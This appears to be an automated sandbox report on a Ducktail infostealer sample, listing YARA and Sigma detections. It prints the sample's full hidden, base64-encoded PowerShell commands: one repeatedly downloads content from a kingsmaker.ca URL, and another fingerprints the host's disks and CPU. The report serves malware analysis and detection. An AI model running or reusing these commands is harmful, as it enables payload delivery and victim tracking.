Process Memory Space: powershell.exe PID: 3688	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 3688	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x253f8e:$b1: ::WriteAllBytes( 0x243823:$b2: ::FromBase64String( 0x24562d:$b2: ::FromBase64String( 0x246701:$b2: ::FromBase64String( 0x246773:$b2: ::FromBase64String( 0x24bf8b:$b2: ::FromBase64String( 0x180046:$b3: ::UTF8.GetString( 0x1b7487:$s1: -join 0x23a7f4:$s1: -join 0x23c9e3:$s1: -join 0x4619e:$s3: Reverse 0x461a6:$s3: Reverse 0xfd776:$s3: Reverse 0x10571d:$s3: Reverse 0x10573c:$s3: Reverse 0x1091f1:$s3: Reverse 0x109236:$s3: Reverse 0x111f97:$s3: Reverse 0x111fb0:$s3: Reverse 0x115b34:$s3: Reverse 0x1fbfbb:$s3: reverse

Other

Source	Rule	Description	Author	Strings
amsi64_3688.amsi.csv	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
amsi64_3688.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc5af:$b1: ::WriteAllBytes( 0x8a34:$b2: ::FromBase64String( 0xa83f:$b2: ::FromBase64String( 0xb914:$b2: ::FromBase64String( 0x528:$b3: ::UTF8.GetString( 0x8687:$s1: -join 0x238:$s4: += 0x25b:$s4: += 0x1e33:$s4: += 0x1ef5:$s4: += 0x611c:$s4: += 0x8239:$s4: += 0x8523:$s4: += 0x8669:$s4: += 0xbac9:$s4: += 0xbcc6:$s4: += 0xdf76:$s4: += 0x6598e:$s4: += 0x65a0e:$s4: += 0x65ad4:$s4: += 0x65b54:$s4: +=

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgB

Sigma detected: PowerShell Base64 Encoded WMI Classes

Source: Process started

Author: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA, CommandLine: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -Execution

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgB

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgB

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1", ProcessId: 7728, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7728, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline", ProcessId: 7956, ProcessName: csc.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIA